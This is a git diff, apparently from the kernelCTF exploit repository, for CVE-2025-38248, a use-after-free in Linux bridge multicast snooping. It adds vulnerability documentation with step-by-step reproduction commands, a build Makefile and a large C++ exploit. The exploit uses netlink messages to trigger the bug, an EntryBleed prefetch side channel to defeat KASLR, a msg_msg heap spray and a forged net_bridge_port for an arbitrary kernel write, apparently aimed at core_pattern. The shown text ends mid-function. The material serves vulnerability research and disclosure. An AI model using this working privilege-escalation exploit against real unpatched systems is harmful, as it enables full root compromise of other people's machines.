diff --git a/pocs/linux/kernelctf/CVE-2025-38248_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2025-38248_cos/docs/vulnerability.md index fe4dc2902..f1df585ff 100644 --- a/pocs/linux/kernelctf/CVE-2025-38248_cos/docs/vulnerability.md +++ b/pocs/linux/kernelctf/CVE-2025-38248_cos/docs/vulnerability.md @@ -1,5 +1,19 @@ -##bridge: mcast: Fix use-after-free during router port configuration -[ Upstream commit 7544f3f5b0b58c396f374d060898b5939da31709 ] +# Vulnerability Details + +- **Requirements**: + - **Capabilities**: `CAP_NET_ADMIN` + - **Kernel configuration**: `CONFIG_BRIDGE_IGMP_SNOOPING` + - **User namespaces required**: Yes +- **Introduced by**: + - https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4b30ae9adb04 ("net: bridge: mcast: re-implement br_multicast_{enable, disable}_port functions") + - https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2796d846d74a ("net: bridge: vlan: convert mcast router global option to per-vlan entry") +- **Fixed by**: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=f05a4f9e959e0fc098046044c650acf897ea52d2 +- **Affected Versions**: `5.15 - 6.15.5` +- **Affected Component**: `net/bridge` (multicast snooping) +- **Cause**: Use-after-free +- **Description**: When per-VLAN multicast snooping is toggled, `br_multicast_port_ctx_deinit()` only cancels multicast router timers but does not remove the port from the global (or per-VLAN) multicast router port lists. A port in permanent multicast router state (`mcast_router=2`) can be re-added to the router list after snooping mode changes, and when the port is subsequently deleted, a dangling pointer remains in the list. Traversing the list (e.g., when adding a new port) triggers a use-after-free on the freed `net_bridge_port` object. + +# Vulnerability Analysis The bridge maintains a global list of ports behind which a multicast router resides. The list is consulted during forwarding to ensure @@ -10,21 +24,25 @@ When per-VLAN multicast snooping is enabled, the per-port multicast context is disabled on each port and the port is removed from the global router port list: - # ip link add name br1 up type bridge vlan_filtering 1 mcast_snooping 1 - # ip link add name dummy1 up master br1 type dummy - # ip link set dev dummy1 type bridge_slave mcast_router 2 - $ bridge -d mdb show | grep router - router ports on br1: dummy1 - # ip link set dev br1 type bridge mcast_vlan_snooping 1 - $ bridge -d mdb show | grep router +```bash +# ip link add name br1 up type bridge vlan_filtering 1 mcast_snooping 1 +# ip link add name dummy1 up master br1 type dummy +# ip link set dev dummy1 type bridge_slave mcast_router 2 +$ bridge -d mdb show | grep router +router ports on br1: dummy1 +# ip link set dev br1 type bridge mcast_vlan_snooping 1 +$ bridge -d mdb show | grep router +``` However, the port can be re-added to the global list even when per-VLAN multicast snooping is enabled: - # ip link set dev dummy1 type bridge_slave mcast_router 0 - # ip link set dev dummy1 type bridge_slave mcast_router 2 - $ bridge -d mdb show | grep router - router ports on br1: dummy1 +```bash +# ip link set dev dummy1 type bridge_slave mcast_router 0 +# ip link set dev dummy1 type bridge_slave mcast_router 2 +$ bridge -d mdb show | grep router +router ports on br1: dummy1 +``` Since commit 4b30ae9adb04 ("net: bridge: mcast: re-implement br_multicast_{enable, disable}_port functions"), when per-VLAN multicast @@ -34,32 +52,38 @@ result, a port will remain in the global router port list even after it is deleted. This will lead to a use-after-free [1] when the list is traversed (when adding a new port to the list, for example): - # ip link del dev dummy1 - # ip link add name dummy2 up master br1 type dummy - # ip link set dev dummy2 type bridge_slave mcast_router 2 +```bash +# ip link del dev dummy1 +# ip link add name dummy2 up master br1 type dummy +# ip link set dev dummy2 type bridge_slave mcast_router 2 +``` Similarly, stale entries can also be found in the per-VLAN router port list. When per-VLAN multicast snooping is disabled, the per-{port, VLAN} contexts are disabled on each port and the port is removed from the per-VLAN router port list: - # ip link add name br1 up type bridge vlan_filtering 1 mcast_snooping 1 mcast_vlan_snooping 1 - # ip link add name dummy1 up master br1 type dummy - # bridge vlan add vid 2 dev dummy1 - # bridge vlan global set vid 2 dev br1 mcast_snooping 1 - # bridge vlan set vid 2 dev dummy1 mcast_router 2 - $ bridge vlan global show dev br1 vid 2 | grep router - router ports: dummy1 - # ip link set dev br1 type bridge mcast_vlan_snooping 0 - $ bridge vlan global show dev br1 vid 2 | grep router +```bash +# ip link add name br1 up type bridge vlan_filtering 1 mcast_snooping 1 mcast_vlan_snooping 1 +# ip link add name dummy1 up master br1 type dummy +# bridge vlan add vid 2 dev dummy1 +# bridge vlan global set vid 2 dev br1 mcast_snooping 1 +# bridge vlan set vid 2 dev dummy1 mcast_router 2 +$ bridge vlan global show dev br1 vid 2 | grep router + router ports: dummy1 +# ip link set dev br1 type bridge mcast_vlan_snooping 0 +$ bridge vlan global show dev br1 vid 2 | grep router +``` However, the port can be re-added to the per-VLAN list even when per-VLAN multicast snooping is disabled: - # bridge vlan set vid 2 dev dummy1 mcast_router 0 - # bridge vlan set vid 2 dev dummy1 mcast_router 2 - $ bridge vlan global show dev br1 vid 2 | grep router - router ports: dummy1 +```bash +# bridge vlan set vid 2 dev dummy1 mcast_router 0 +# bridge vlan set vid 2 dev dummy1 mcast_router 2 +$ bridge vlan global show dev br1 vid 2 | grep router + router ports: dummy1 +``` When the VLAN is deleted from the port, the per-{port, VLAN} multicast context will not be disabled since multicast snooping is not enabled @@ -68,80 +92,33 @@ port list even after it is no longer member in the VLAN. This will lead to a use-after-free [2] when the list is traversed (when adding a new port to the list, for example): - # ip link add name dummy2 up master br1 type dummy - # bridge vlan add vid 2 dev dummy2 - # bridge vlan del vid 2 dev dummy1 - # bridge vlan set vid 2 dev dummy2 mcast_router 2 - -Fix these issues by removing the port from the relevant (global or -per-VLAN) router port list in br_multicast_port_ctx_deinit(). The -function is invoked during port deletion with the per-port multicast -context and during VLAN deletion with the per-{port, VLAN} multicast -context. +```bash +# ip link add name dummy2 up master br1 type dummy +# bridge vlan add vid 2 dev dummy2 +# bridge vlan del vid 2 dev dummy1 +# bridge vlan set vid 2 dev dummy2 mcast_router 2 +``` + +The root cause is that `br_multicast_port_ctx_deinit()` only cancels +multicast router timers but does not remove the port from the router +port lists: + +```c +void br_multicast_port_ctx_deinit(struct net_bridge_mcast_port *pmctx) +{ +#if IS_ENABLED(CONFIG_IPV6) + del_timer_sync(&pmctx->ip6_mc_router_timer); +#endif + del_timer_sync(&pmctx->ip4_mc_router_timer); + // Missing: br_ip4_multicast_rport_del(pmctx) + // Missing: br_ip6_multicast_rport_del(pmctx) +} +``` + +The fix adds the missing list removal calls so that ports are properly +unlinked from the router port lists during port/VLAN deletion. Note that deleting the multicast router timer is not enough as it only takes care of the temporary multicast router states (1 or 3) and not the permanent one (2). -[1] -BUG: KASAN: slab-out-of-bounds in br_multicast_add_router.part.0+0x3f1/0x560 -Write of size 8 at addr ffff888004a67328 by task ip/384 -[...] -Call Trace: - - dump_stack_lvl+0x6f/0xa0 - print_address_description.constprop.0+0x6f/0x350 - print_report+0x108/0x205 - kasan_report+0xdf/0x110 - br_multicast_add_router.part.0+0x3f1/0x560 - br_multicast_set_port_router+0x74e/0xac0 - br_setport+0xa55/0x1870 - br_port_slave_changelink+0x95/0x120 - __rtnl_newlink+0x5e8/0xa40 - rtnl_newlink+0x627/0xb00 - rtnetlink_rcv_msg+0x6fb/0xb70 - netlink_rcv_skb+0x11f/0x350 - netlink_unicast+0x426/0x710 - netlink_sendmsg+0x75a/0xc20 - __sock_sendmsg+0xc1/0x150 - ____sys_sendmsg+0x5aa/0x7b0 - ___sys_sendmsg+0xfc/0x180 - __sys_sendmsg+0x124/0x1c0 - do_syscall_64+0xbb/0x360 - entry_SYSCALL_64_after_hwframe+0x4b/0x53 - -[2] -BUG: KASAN: slab-use-after-free in br_multicast_add_router.part.0+0x378/0x560 -Read of size 8 at addr ffff888009f00840 by task bridge/391 -[...] -Call Trace: - - dump_stack_lvl+0x6f/0xa0 - print_address_description.constprop.0+0x6f/0x350 - print_report+0x108/0x205 - kasan_report+0xdf/0x110 - br_multicast_add_router.part.0+0x378/0x560 - br_multicast_set_port_router+0x6f9/0xac0 - br_vlan_process_options+0x8b6/0x1430 - br_vlan_rtm_process_one+0x605/0xa30 - br_vlan_rtm_process+0x396/0x4c0 - rtnetlink_rcv_msg+0x2f7/0xb70 - netlink_rcv_skb+0x11f/0x350 - netlink_unicast+0x426/0x710 - netlink_sendmsg+0x75a/0xc20 - __sock_sendmsg+0xc1/0x150 - ____sys_sendmsg+0x5aa/0x7b0 - ___sys_sendmsg+0xfc/0x180 - __sys_sendmsg+0x124/0x1c0 - do_syscall_64+0xbb/0x360 - entry_SYSCALL_64_after_hwframe+0x4b/0x53 - -Fixes: 2796d846d74a ("net: bridge: vlan: convert mcast router global option to per-vlan entry") -Fixes: 4b30ae9adb04 ("net: bridge: mcast: re-implement br_multicast_{enable, disable}_port functions") -Reported-by: syzbot+7bfa4b72c6a5da128d32@syzkaller.appspotmail.com -Closes: https://lore.kernel.org/all/684c18bd.a00a0220.279073.000b.GAE@google.com/T/ -Signed-off-by: Ido Schimmel -Link: https://patch.msgid.link/20250619182228.1656906-1-idosch@nvidia.com -Signed-off-by: Jakub Kicinski -Signed-off-by: Sasha Levin - diff --git a/pocs/linux/kernelctf/CVE-2025-38248_cos/exploit/cos-121-18867.294.25/Makefile b/pocs/linux/kernelctf/CVE-2025-38248_cos/exploit/cos-121-18867.294.25/Makefile index b14f935c3..600614c95 100644 --- a/pocs/linux/kernelctf/CVE-2025-38248_cos/exploit/cos-121-18867.294.25/Makefile +++ b/pocs/linux/kernelctf/CVE-2025-38248_cos/exploit/cos-121-18867.294.25/Makefile @@ -1,13 +1,20 @@ -CFLAGS = -static -pthread -s +KERNELXDK_INCLUDE_DIR ?= /usr/local/include +KERNELXDK_LIB_DIR ?= /usr/lib +CXX = g++ +CXXFLAGS = -I. -I$(KERNELXDK_INCLUDE_DIR) -static -pthread -s +LDFLAGS = -L$(KERNELXDK_LIB_DIR) -lkernelXDK -lkeyutils -exploit: exploit.c - $(CC) $(CFLAGS) -o $@ $< +exploit: exploit.cpp target_db.kxdb + $(CXX) $(CXXFLAGS) -o $@ $< $(LDFLAGS) -exploit_debug: exploit.c - $(CC) $(CFLAGS) -o $@ $< -g +exploit_debug: exploit.cpp target_db.kxdb + $(CXX) $(CXXFLAGS) -g -o $@ $< $(LDFLAGS) + +target_db.kxdb: + wget -O target_db.kxdb https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb clean: - rm -f exploit + rm -f exploit exploit_debug target_db.kxdb .PHONY: clean diff --git a/pocs/linux/kernelctf/CVE-2025-38248_cos/exploit/cos-121-18867.294.25/exploit.cpp b/pocs/linux/kernelctf/CVE-2025-38248_cos/exploit/cos-121-18867.294.25/exploit.cpp new file mode 100644 index 000000000..3c1321006 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-38248_cos/exploit/cos-121-18867.294.25/exploit.cpp @@ -0,0 +1,969 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +INCBIN(target_db, "target_db.kxdb"); + +#define PAGE_SIZE 0x1000 + +static uint64_t core_pattern_addr = 0; + +// =-=-=-=-=-=-=-= LOG HELPERS =-=-=-=-=-=-=-= +#define COLOR_GREEN "\033[32m" +#define COLOR_RED "\033[31m" +#define COLOR_BLUE "\033[34m" +#define COLOR_DEFAULT "\033[0m" +#define COLOR_BOLD "\033[1m" + +#define logd(fmt, ...) \ + dprintf(2, "[*] %s:%d " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__) +#define logi(fmt, ...) \ + dprintf(2, COLOR_BLUE COLOR_BOLD "[+] %s:%d " fmt "\n" COLOR_DEFAULT, \ + __FILE__, __LINE__, ##__VA_ARGS__) +#define logs(fmt, ...) \ + dprintf(2, COLOR_GREEN COLOR_BOLD "[+] %s:%d " fmt "\n" COLOR_DEFAULT, \ + __FILE__, __LINE__, ##__VA_ARGS__) +#define loge(fmt, ...) \ + dprintf(2, COLOR_RED COLOR_BOLD "[-] %s:%d " fmt "\n" COLOR_DEFAULT, \ + __FILE__, __LINE__, ##__VA_ARGS__) +#define die(fmt, ...) \ + do { \ + loge(fmt ": %m", ##__VA_ARGS__); \ + loge("Exit at line %d", __LINE__); \ + exit(1); \ + } while (0) +#define SYSCHK(x) \ + ({ \ + __typeof__(x) __res = (x); \ + if (__res == (__typeof__(x))-1) { \ + die("SYSCHK(" #x ")"); \ + } \ + __res; \ + }) + +// Helper functions for Netlink attribute construction +static struct rtattr *add_attr(struct nlmsghdr *n, int maxlen, int type, + const void *data, int alen) { + int len = RTA_LENGTH(alen); + struct rtattr *rta; + + if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) { + die("add_attr: message exceeded bound"); + } + + rta = (struct rtattr *)(((char *)n) + NLMSG_ALIGN(n->nlmsg_len)); + rta->rta_type = type; + rta->rta_len = len; + if (alen) + memcpy(RTA_DATA(rta), data, alen); + n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len); + return rta; +} + +static struct rtattr *add_attr_nest(struct nlmsghdr *n, int maxlen, int type) { + struct rtattr *nest = add_attr(n, maxlen, type, NULL, 0); + return nest; +} + +static void end_attr_nest(struct nlmsghdr *n, struct rtattr *nest) { + nest->rta_len = (char *)n + NLMSG_ALIGN(n->nlmsg_len) - (char *)nest; +} + +static void send_netlink_msg(int sock, struct nlmsghdr *nh) { + struct sockaddr_nl sa; + memset(&sa, 0, sizeof(sa)); + sa.nl_family = AF_NETLINK; + + if (sendto(sock, nh, nh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < + 0) + die("send_netlink"); +} + +static void create_bridge(const char *name) { + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock < 0) + die("socket netlink"); + + char buf[1024]; + memset(buf, 0, sizeof(buf)); + + struct nlmsghdr *nh = (struct nlmsghdr *)buf; + struct ifinfomsg *ifi = (struct ifinfomsg *)(buf + NLMSG_HDRLEN); + + nh->nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + nh->nlmsg_type = RTM_NEWLINK; + nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; + + ifi->ifi_family = AF_UNSPEC; + + add_attr(nh, sizeof(buf), IFLA_IFNAME, name, strlen(name) + 1); + + struct rtattr *linkinfo = + add_attr_nest(nh, sizeof(buf), IFLA_LINKINFO | NLA_F_NESTED); + add_attr(nh, sizeof(buf), IFLA_INFO_KIND, "bridge", strlen("bridge") + 1); + + struct rtattr *data = + add_attr_nest(nh, sizeof(buf), IFLA_INFO_DATA | NLA_F_NESTED); + uint8_t val = 1; + add_attr(nh, sizeof(buf), IFLA_BR_VLAN_FILTERING, &val, sizeof(val)); + add_attr(nh, sizeof(buf), IFLA_BR_MCAST_SNOOPING, &val, sizeof(val)); + end_attr_nest(nh, data); + + end_attr_nest(nh, linkinfo); + + logd("Creating bridge '%s' with vlan_filtering=1, mcast_snooping=1...", name); + send_netlink_msg(sock, nh); + close(sock); +} + +static void create_dummy(const char *name, const char *master) { + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock < 0) + die("socket netlink"); + + char buf[1024]; + memset(buf, 0, sizeof(buf)); + + struct nlmsghdr *nh = (struct nlmsghdr *)buf; + struct ifinfomsg *ifi = (struct ifinfomsg *)(buf + NLMSG_HDRLEN); + + nh->nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + nh->nlmsg_type = RTM_NEWLINK; + nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; + + ifi->ifi_family = AF_UNSPEC; + + add_attr(nh, sizeof(buf), IFLA_IFNAME, name, strlen(name) + 1); + + if (master) { + int master_idx = if_nametoindex(master); + if (master_idx == 0) + die("if_nametoindex master"); + add_attr(nh, sizeof(buf), IFLA_MASTER, &master_idx, sizeof(master_idx)); + } + + struct rtattr *linkinfo = + add_attr_nest(nh, sizeof(buf), IFLA_LINKINFO | NLA_F_NESTED); + add_attr(nh, sizeof(buf), IFLA_INFO_KIND, "dummy", strlen("dummy") + 1); + end_attr_nest(nh, linkinfo); + + logd("Creating dummy '%s' attached to '%s'", name, master ? master : "none"); + send_netlink_msg(sock, nh); + close(sock); +} + +static void set_port_mcast_router(const char *ifname, int mode) { + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock < 0) + die("socket netlink"); + + int ifindex = if_nametoindex(ifname); + if (ifindex == 0) + die("if_nametoindex port"); + + char buf[4096]; + memset(buf, 0, sizeof(buf)); + + struct nlmsghdr *nh = (struct nlmsghdr *)buf; + struct ifinfomsg *ifi = (struct ifinfomsg *)(buf + NLMSG_HDRLEN); + + nh->nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + nh->nlmsg_type = RTM_SETLINK; + nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + + ifi->ifi_family = AF_BRIDGE; + ifi->ifi_index = ifindex; + + struct rtattr *nest = + add_attr_nest(nh, sizeof(buf), IFLA_PROTINFO | NLA_F_NESTED); + uint8_t m = mode; + add_attr(nh, sizeof(buf), IFLA_BRPORT_MULTICAST_ROUTER, &m, sizeof(m)); + end_attr_nest(nh, nest); + + logd("Setting mcast_router=%d for '%s' (via IFLA_PROTINFO)", mode, ifname); + send_netlink_msg(sock, nh); + close(sock); +} + +static void set_bridge_mcast_vlan_snooping(const char *brname, int enabled) { + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock < 0) + die("socket netlink"); + + int ifindex = if_nametoindex(brname); + if (ifindex == 0) + die("if_nametoindex bridge"); + + char buf[1024]; + memset(buf, 0, sizeof(buf)); + + struct nlmsghdr *nh = (struct nlmsghdr *)buf; + struct ifinfomsg *ifi = (struct ifinfomsg *)(buf + NLMSG_HDRLEN); + + nh->nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + nh->nlmsg_type = RTM_NEWLINK; + nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + + ifi->ifi_family = AF_UNSPEC; + ifi->ifi_index = ifindex; + + struct rtattr *linkinfo = + add_attr_nest(nh, sizeof(buf), IFLA_LINKINFO | NLA_F_NESTED); + add_attr(nh, sizeof(buf), IFLA_INFO_KIND, "bridge", strlen("bridge") + 1); + + struct rtattr *data = + add_attr_nest(nh, sizeof(buf), IFLA_INFO_DATA | NLA_F_NESTED); + struct br_boolopt_multi bm; + bm.optval = enabled ? (1 << BR_BOOLOPT_MCAST_VLAN_SNOOPING) : 0; + bm.optmask = (1 << BR_BOOLOPT_MCAST_VLAN_SNOOPING); + add_attr(nh, sizeof(buf), IFLA_BR_MULTI_BOOLOPT, &bm, sizeof(bm)); + end_attr_nest(nh, data); + + end_attr_nest(nh, linkinfo); + + logd("Setting mcast_vlan_snooping=%d for '%s' ", enabled, brname); + send_netlink_msg(sock, nh); + close(sock); +} + +static void del_link(const char *name) { + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock < 0) + die("socket netlink"); + + int ifindex = if_nametoindex(name); + if (ifindex == 0) + die("if_nametoindex del"); + + char buf[1024]; + memset(buf, 0, sizeof(buf)); + + struct nlmsghdr *nh = (struct nlmsghdr *)buf; + struct ifinfomsg *ifi = (struct ifinfomsg *)(buf + NLMSG_HDRLEN); + + nh->nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + nh->nlmsg_type = RTM_DELLINK; + nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + ifi->ifi_family = AF_UNSPEC; + ifi->ifi_index = ifindex; + + logd("Deleting link '%s'", name); + send_netlink_msg(sock, nh); + close(sock); +} + +static void bring_interface_up(const char *ifname) { + int sockfd; + struct ifreq ifr; + sockfd = socket(AF_INET, SOCK_DGRAM, 0); + if (sockfd < 0) + die("socket"); + memset(&ifr, 0, sizeof ifr); + strncpy(ifr.ifr_name, ifname, IFNAMSIZ); + ifr.ifr_flags |= IFF_UP; + ioctl(sockfd, SIOCSIFFLAGS, &ifr); + close(sockfd); +} + +static void setup_namespace(void) { + uid_t uid = getuid(); + gid_t gid = getgid(); + + if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWNET | CLONE_NEWIPC)) + die("unshare"); + + char buf[128]; + int fd; + + fd = open("/proc/self/setgroups", O_WRONLY); + write(fd, "deny", 4); + close(fd); + + fd = open("/proc/self/uid_map", O_WRONLY); + snprintf(buf, sizeof(buf), "0 %d 1\n", uid); + write(fd, buf, strlen(buf)); + close(fd); + + fd = open("/proc/self/gid_map", O_WRONLY); + snprintf(buf, sizeof(buf), "0 %d 1\n", gid); + write(fd, buf, strlen(buf)); + close(fd); +} + +static void bind_core(int core) { + cpu_set_t cpu_set; + CPU_ZERO(&cpu_set); + CPU_SET(core, &cpu_set); + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpu_set) == -1) + die("sched_setaffinity"); +} + +// =-=-=-=-=-=-=-= ENTRYBLEED HELPERS =-=-=-=-=-=-=-= +// https://www.willsroot.io/2022/12/entrybleed.html +#define KERNEL_BASE 0xffffffff81000000 +#define KERNEL_LOWER_BOUND 0xffffffff80000000ull +#define KERNEL_UPPER_BOUND 0xffffffffc0000000ull + +#define STEP_KERNEL 0x100000ull +#define SCAN_START_KERNEL KERNEL_LOWER_BOUND +#define SCAN_END_KERNEL KERNEL_UPPER_BOUND +#define ARR_SIZE_KERNEL (SCAN_END_KERNEL - SCAN_START_KERNEL) / STEP_KERNEL + +#define PHYS_LOWER_BOUND 0xffff888000000000ull +#define PHYS_UPPER_BOUND 0xfffffe0000000000ull + +#define STEP_PHYS 0x40000000ull +#define SCAN_START_PHYS PHYS_LOWER_BOUND +#define SCAN_END_PHYS PHYS_UPPER_BOUND +#define ARR_SIZE_PHYS (SCAN_END_PHYS - SCAN_START_PHYS) / STEP_PHYS + +#define DUMMY_ITERATIONS 5 +#define ITERATIONS 100 +#define LEAK_TIMES 10 + +// Based on experiment, the kernel heap address leaked from sidechannel is +// KERNEL_PHYS_MAP + LEAKED_OFFSET +#define LEAKED_OFFSET 0x100000000 + +uint64_t leak_kernel_base = 0xffffffff81000000, + leak_kheap_base = 0xffff888000000000ull, kernel_offset = 0; + +uint64_t sidechannel(uint64_t addr) { + uint64_t a, b, c, d; + asm volatile(".intel_syntax noprefix;" + "mfence;" + "rdtscp;" + "mov %0, rax;" + "mov %1, rdx;" + "xor rax, rax;" + "lfence;" + "prefetchnta qword ptr [%4];" + "prefetcht2 qword ptr [%4];" + "xor rax, rax;" + "lfence;" + "rdtscp;" + "mov %2, rax;" + "mov %3, rdx;" + "mfence;" + ".att_syntax;" + : "=r"(a), "=r"(b), "=r"(c), "=r"(d) + : "r"(addr) + : "rax", "rbx", "rcx", "rdx"); + a = (b << 32) | a; + c = (d << 32) | c; + return c - a; +} + +uint64_t prefetch(int phys) { + uint64_t arr_size = ARR_SIZE_KERNEL; + uint64_t scan_start = SCAN_START_KERNEL; + uint64_t step_size = STEP_KERNEL; + if (phys) { + arr_size = ARR_SIZE_PHYS; + scan_start = SCAN_START_PHYS; + step_size = STEP_PHYS; + } + + uint64_t *data = (uint64_t *)malloc(arr_size * sizeof(uint64_t)); + memset(data, 0, arr_size * sizeof(uint64_t)); + uint64_t addr = ~0; + + for (int i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++) { + for (uint64_t idx = 0; idx < arr_size; idx++) { + uint64_t test = scan_start + idx * step_size; + syscall(104); + uint64_t time = sidechannel(test); + if (i >= DUMMY_ITERATIONS) { + data[idx] += time; + } + } + } + for (int i = 0; i < arr_size; i++) { + data[i] /= ITERATIONS; + } + double initial_avg = 0.0; + for (int i = 0; i < arr_size; i++) { + initial_avg += data[i]; + } + initial_avg /= arr_size; + double background_avg = 0.0; + int count = 0; + for (int i = 0; i < arr_size; i++) { + if (data[i] <= initial_avg * 1.1) { + background_avg += data[i]; + count++; + } + } + if (count > 0) { + background_avg /= count; + } else { + background_avg = initial_avg; + } + // Select the first address whose time is lower than threshold as target + // address threshold = 0.9 * average_time + double threshold = background_avg * 0.9; + for (int i = 0; i < arr_size; i++) { + if (data[i] < threshold) { + addr = scan_start + i * step_size; + break; + } + } + return addr; +} + +size_t mostFrequent(size_t *arr, size_t n) { + size_t maxcount = 0; + size_t element_having_max_freq; + for (int i = 0; i < n; i++) { + size_t Count = 0; + for (int j = 0; j < n; j++) { + if (arr[i] == arr[j]) + Count++; + } + if (Count > maxcount) { + maxcount = Count; + element_having_max_freq = arr[i]; + } + } + return element_having_max_freq; +} + +void leak() { + size_t kbase[LEAK_TIMES] = {0}; + size_t kheap_base[LEAK_TIMES] = {0}; + for (int i = 0; i < LEAK_TIMES; i++) { + kbase[i] = prefetch(0); + logd("%dth iteration leak: 0x%lx", i, kbase[i]); + } + for (int i = 0; i < LEAK_TIMES; i++) { + kheap_base[i] = prefetch(1) - LEAKED_OFFSET; + logd("%dth iteration leak: 0x%lx", i, kheap_base[i]); + } + + leak_kernel_base = mostFrequent(kbase, LEAK_TIMES); + kernel_offset = leak_kernel_base - KERNEL_BASE; + leak_kheap_base = mostFrequent(kheap_base, LEAK_TIMES); + + if (kernel_offset == 0x7effffff) { + leak_kernel_base = 0xffffffff81000000; + kernel_offset = 0; + } + + logs("Chosen KASLR base: %lx", leak_kernel_base); + logs("Chosen KHEAP base: %lx", leak_kheap_base); + logs("kernel offset: %lx", kernel_offset); +} + +// =-=-=-=-=-=-=-= MSG_MSG HELPERS =-=-=-=-=-=-=-= +#define MSG_SPRAY_NUM_PER_PROCESS \ + 32000 // maximal num of msg_msg queues per ipc ns +#define KMALLOC_CG_4K_SZ 0x1000 +#define MSG_MSG_SZ 0x30 +#define MSG_MSG_DATA_SZ (KMALLOC_CG_4K_SZ - MSG_MSG_SZ) +#define MSGBUF_SZ MSG_MSG_DATA_SZ +#define SPRAY_PROCESS_NUM 12 + +// After spraying 1.37 GB msg_msg, the msg_msg has +// high probability to be allocated at leak_kheap_base + GUESSED_OFFSET +#define GUESSED_OFFSET 0xa000000 +#define GUESSED_MSG_ADDR (leak_kheap_base + GUESSED_OFFSET) + +struct msg_msg { + char pad_0[40]; /* 0 - 40 */ + void *security; /* 40 - 48 */ + char mtext[]; +} __attribute__((__aligned__(8))); + +// We perform arbitrary write to offset 0x100, to locate victim msg_msg +#define MARKER_OFFSET 0x100 + +struct hlist_node { + uint64_t next; + uint64_t pprev; +} __attribute__((__aligned__(8))); + +struct net_bridge_mcast_port { + uint64_t port; /* 0 - 8 */ + char pad_0[96]; /* 8 - 104 */ + struct hlist_node ip4_rlist; /* 104 - 120 */ + char pad_1[88]; /* 120 - 208 */ + struct hlist_node ip6_rlist; /* 208 - 224 */ + char pad_2[16]; /* 224 - 240 */ +} __attribute__((__aligned__(8))); + +struct net_bridge_port { + char pad_0[304]; /* 0 - 304 */ + struct net_bridge_mcast_port multicast_ctx; /* 304 - 544 */ + char pad_1[96]; /* 544 - 640 */ +} __attribute__((__aligned__(8))); + +void craft_fake_net_bridge_port(struct net_bridge_port *p, + uint64_t target_addr_1, + uint64_t target_addr_2) { + memset(p, 0, sizeof(*p)); + p->multicast_ctx.ip4_rlist.next = target_addr_1 - 8; + p->multicast_ctx.ip6_rlist.next = target_addr_2 - 8; + p->multicast_ctx.port = 0xffffffffffffffff; +} + +struct msg_buf { + uint64_t mtype; + char mtext[MSGBUF_SZ]; +}; + +int *msg_queues; +typedef struct { + sem_t child_sem; + sem_t parent_sem; + int victim_process; + int victim_msg_idx; +} shared_data; +shared_data *shared; + +// For 3.5 GB RAM system, we spray MSG_FIRST_SPRAY_NUM * SPRAY_PROCESS_NUM +// * KMALLOC_CG_4K_SZ = 1.37 GB msg_msg +void spray_msg(int process_idx) { + struct msg_buf msgbuf; + uint64_t msg_idx; + logd("Creating message queue..."); + for (int i = 0; i < MSG_SPRAY_NUM_PER_PROCESS; i++) { + msg_idx = process_idx * MSG_SPRAY_NUM_PER_PROCESS + i; + msg_queues[msg_idx] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); + if (msg_queues[msg_idx] < 0) + loge("Failed to get message queue"); + } + + memset(&msgbuf, 0, sizeof(msgbuf)); + for (int i = 0; i < MSG_SPRAY_NUM_PER_PROCESS; i++) { + msg_idx = process_idx * MSG_SPRAY_NUM_PER_PROCESS + i; + msgbuf.mtype = msg_idx + 1; + char *msg_msg_data = msgbuf.mtext; + if (msgsnd(msg_queues[msg_idx], &msgbuf, MSGBUF_SZ, 0) < 0) + loge("Failed to send message"); + } +} + +void peek_msg(int process_idx) { + struct msg_buf msgbuf; + uint64_t msg_idx, victim_idx, target_idx; + for (int i = 0; i < MSG_SPRAY_NUM_PER_PROCESS; i++) { + msg_idx = process_idx * MSG_SPRAY_NUM_PER_PROCESS + i; + memset(&msgbuf, 0, sizeof(msgbuf)); + if (msgrcv(msg_queues[msg_idx], &msgbuf, MSGBUF_SZ, 0, + MSG_COPY | IPC_NOWAIT | MSG_NOERROR) < 0) + loge("Failed to receive message"); + uint64_t *marker = (uint64_t *)&msgbuf.mtext[MARKER_OFFSET]; + if (*marker) { + logs("find victim msg_msg: 0x%lx", msg_idx); + shared->victim_msg_idx = msg_idx; + logs("find victim process: %d", process_idx); + shared->victim_process = process_idx; + } + } +} + +void free_victim_msg(int process_idx) { + if (process_idx != shared->victim_process) { + usleep(100000); // Don't return immediately to disturb sem + return; + } + logd("Free msg_msg->security, victim: 0x%x", shared->victim_msg_idx); + struct msg_buf msgbuf; + if (msgrcv(msg_queues[shared->victim_msg_idx], &msgbuf, MSGBUF_SZ, + shared->victim_msg_idx + 1, IPC_NOWAIT | 